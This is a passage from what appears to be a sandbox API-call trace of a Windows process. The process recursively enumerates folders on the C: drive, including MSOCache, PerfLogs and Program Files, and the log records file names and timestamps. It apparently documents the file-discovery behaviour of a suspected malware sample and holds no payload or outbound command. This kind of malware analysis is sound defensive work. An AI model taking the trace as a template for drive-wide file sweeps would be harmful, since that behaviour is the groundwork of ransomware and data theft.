nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0077.346] GetProcessHeap () returned 0x470000 [0077.346] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0077.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0077.349] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.350] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0077.350] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0077.350] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0077.350] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0077.350] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0077.351] GetProcessHeap () returned 0x470000 [0077.351] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0077.351] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0077.351] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0077.351] GetProcessHeap () returned 0x470000 [0077.351] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0077.351] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0077.351] FindClose (in: hFindFile=0x493080 | out: hFindFile=0x493080) returned 1 [0077.351] GetProcessHeap () returned 0x470000 [0077.351] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x517ba0 | out: hHeap=0x470000) returned 1 [0077.353] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0077.353] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0077.353] GetProcessHeap () returned 0x470000 [0077.353] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0077.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0077.354] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.354] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0077.354] GetProcessHeap () returned 0x470000 [0077.354] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3231088 [0077.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255140 [0077.355] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.355] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.355] FindClose (in: hFindFile=0x3255140 | out: hFindFile=0x3255140) returned 1 [0077.355] GetProcessHeap () returned 0x470000 [0077.355] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3231088 | out: hHeap=0x470000) returned 1 [0077.355] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0077.355] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0077.355] GetProcessHeap () returned 0x470000 [0077.355] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0077.355] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5d37280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5d37280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0077.355] GetProcessHeap () returned 0x470000 [0077.355] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0077.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5d37280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5d37280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0077.356] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5d37280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5d37280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.356] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdfd8de60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd8de60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0077.356] GetProcessHeap () returned 0x470000 [0077.356] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3231088 [0077.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdfd8de60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd8de60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255140 [0077.356] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdfd8de60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd8de60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.356] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2c8330, ftCreationTime.dwHighDateTime=0x1d59043, ftLastAccessTime.dwLowDateTime=0x113efa40, ftLastAccessTime.dwHighDateTime=0x1d5da4b, ftLastWriteTime.dwLowDateTime=0x113efa40, ftLastWriteTime.dwHighDateTime=0x1d5da4b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1 [0077.356] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e676fa0, ftCreationTime.dwHighDateTime=0x1d5bb7f, ftLastAccessTime.dwLowDateTime=0x41dff730, ftLastAccessTime.dwHighDateTime=0x1d5657a, ftLastWriteTime.dwLowDateTime=0x41dff730, ftLastWriteTime.dwHighDateTime=0x1d5657a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="alftp.exe", cAlternateFileName="")) returned 1 [0077.356] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83123040, ftCreationTime.dwHighDateTime=0x1d58d13, ftLastAccessTime.dwLowDateTime=0x1d5c4c10, ftLastAccessTime.dwHighDateTime=0x1d5cd30, ftLastWriteTime.dwLowDateTime=0x1d5c4c10, ftLastWriteTime.dwHighDateTime=0x1d5cd30, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0077.357] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0077.357] GetProcessHeap () returned 0x470000 [0077.357] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x517ba0 [0077.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255180 [0077.358] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.358] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0077.358] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0077.358] FindClose (in: hFindFile=0x3255180 | out: hFindFile=0x3255180) returned 1 [0077.358] GetProcessHeap () returned 0x470000 [0077.358] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x517ba0 | out: hHeap=0x470000) returned 1 [0077.358] FindNextFileW (in: hFindFile=0x3255140, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0077.358] GetProcessHeap () returned 0x470000 [0077.358] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x517ba0 [0077.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 